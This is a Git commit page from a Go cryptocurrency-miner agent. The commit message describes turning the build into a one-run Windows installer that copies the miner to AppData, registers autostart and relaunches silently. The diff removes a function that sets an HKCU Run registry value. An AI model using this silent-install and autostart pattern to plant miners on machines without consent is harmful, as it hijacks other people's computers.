Make built exe a one-run Windows installer pointing at LAN dashboard.
Install copies miner to AppData, registers autostart, relaunches silently, and builder defaults server URL to local IP.
This commit is contained in:
@@ -5,34 +5,9 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
if !enabled {
|
||||
return removeAutoStart()
|
||||
}
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue("CryptoMinerAgent", exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue("CryptoMinerAgent")
|
||||
return nil
|
||||
}
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
// Best-effort on Windows using PowerShell for the current process.
|
||||
class := "BelowNormal"
|
||||
switch priority {
|
||||
case "idle":
|
||||
|
||||
Reference in New Issue
Block a user